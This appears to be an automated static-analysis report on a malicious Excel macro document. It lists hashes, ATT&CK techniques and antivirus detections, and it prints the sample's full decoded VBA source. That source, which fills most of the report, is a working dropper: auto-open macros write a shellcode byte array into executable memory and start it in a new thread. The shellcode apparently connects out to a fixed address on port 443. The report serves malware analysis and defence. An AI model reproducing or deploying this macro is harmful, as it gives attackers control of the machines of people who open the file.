Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df482e32a29614c9…

MALICIOUS

Office (OLE)

31.0 KB Created: 2018-07-04 23:17:44 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: dd3cdf0d7fc1cc32329b40a4545eacd7 SHA-1: 7c608d2c8ab7b3ff58a36580b8cfc961c9ec7a9b SHA-256: df482e32a29614c93a102f4abb8f9dba6f086bf4eed784b3912fe11fba7c6c63
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Office document containing VBA macros, specifically triggering Auto_Open and Workbook_Open events. The macros reference Windows API functions like VirtualAlloc, CreateThread, and RtlMoveMemory, indicating the execution of shellcode. This shellcode is likely responsible for downloading and executing a secondary payload, a common dropper behavior.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Xbfoss As Long, Mbbbcq As Variant, Ljlhv As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4320 bytes
SHA-256: 9362e89a766ada214a07e178f0baba79d92aed107a66246ea9d56ea11a3c0cab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fijv As Long, ByVal Pzchnc As Long, ByVal Tvovvqeg As LongPtr, Ztxcmo As Long, ByVal Bwn As Long, Jrhinsct As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Krcaduyij As Long, ByVal Gkwcvv As Long, ByVal Lmydiwxr As Long, ByVal Byzrcjrut As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Muicyy As LongPtr, ByRef Mftv As Any, ByVal Ysaiwsx As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Fijv As Long, ByVal Pzchnc As Long, ByVal Tvovvqeg As Long, Ztxcmo As Long, ByVal Bwn As Long, Jrhinsct As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Krcaduyij As Long, ByVal Gkwcvv As Long, ByVal Lmydiwxr As Long, ByVal Byzrcjrut As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Muicyy As Long, ByRef Mftv As Any, ByVal Ysaiwsx As Long) As Long
#End If

Sub Auto_Open()
    Dim Xbfoss As Long, Mbbbcq As Variant, Ljlhv As Long
#If VBA7 Then
    Dim Rnkwtr As LongPtr, Ygbwgcd As LongPtr
#Else
    Dim Rnkwtr As Long, Ygbwgcd As Long
#End If
    Mbbbcq = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 198, 150, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Rnkwtr = VirtualAlloc(0, UBound(Mbbbcq), &H1000, &H40)
    For Ljlhv = LBound(Mbbbcq) To UBound(Mbbbcq)
        Xbfoss = Mbbbcq(Ljlhv)
        Ygbwgcd = RtlMoveMemory(Rnkwtr + Ljlhv, Xbfoss, 1)
    Next Ljlhv
    Ygbwgcd = CreateThread(0, 0, Rnkwtr, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True